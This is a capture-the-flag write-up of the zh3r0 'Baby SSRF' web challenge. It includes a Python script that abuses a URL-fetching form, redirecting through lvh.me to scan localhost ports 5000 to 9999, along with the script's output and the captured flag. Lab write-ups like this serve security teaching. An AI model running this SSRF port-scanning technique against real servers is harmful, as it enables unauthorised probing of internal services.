Web - Baby SSRF

Date: 09, June, 2021

Author: Dhilip Sanjay S

Category: Web

The request page in the website had a text box which accepted any valid URL.
On submitting, it was fetching and displaying the headers of the request made to website.
So, we must access some internal local server to get flag. (SSRF!)
And the hint says for i in range(5000,10000)
So, our flag must available in any of the headers of the following local ports.
To redirect to localhost:
- Use lvh.me (or)
- Develop a custom server and combine it with ngrok

Exploit

#! /usr/bin/python3

import requests

url = "http://web.zh3r0.cf:1111/request"
payloadURL = "http://lvh.me" # Redirects to localhost
req = requests.session()

for port in range(5000,10000):
	data = {"url" :  payloadURL + ":{}".format(str(port))}
	print("[+] Trying Port {}".format(str(port)))
	
	r = req.post(url, data)
	if "zh3r0" in r.text:
		print(r.text)
		break

Run the exploit

./exploit.py

[..snip..]
[+] Trying Port 9000
[+] Trying Port 9001
[+] Trying Port 9002
[+] Trying Port 9003
[+] Trying Port 9004
[+] Trying Port 9005
[+] Trying Port 9006
<!DOCTYPE html>
<html>
<head>
        <title>Request</title>
</head>
<link rel="stylesheet" type="text/css" href="hacker.css">
<body>
        <form action="/request" method="POST">
                <input type="text" name="url">
                <input type="submit" name="sub" value="sub">
        </form>
        {&#39;Date&#39;: &#39;Wed, 09 Jun 2021 09:41:02 GMT&#39;, &#39;Server&#39;: &#39;Apache/2.4.41 (Ubuntu)&#39;, &#39;FLag&#39;: &#39;zh3r0{SSRF_0r_wh4t3v3r_ch4ll3ng3}&#39;, &#39;Content-Length&#39;: &#39;0&#39;, &#39;Keep-Alive&#39;: &#39;timeout=5, max=100&#39;, &#39;Connection&#39;: &#39;Keep-Alive&#39;, &#39;Content-Type&#39;: &#39;text/html; charset=UTF-8&#39;}
<br>
          
</body>
</html>

Flag

zh3r0{SSRF_0r_wh4t3v3r_ch4ll3ng3}

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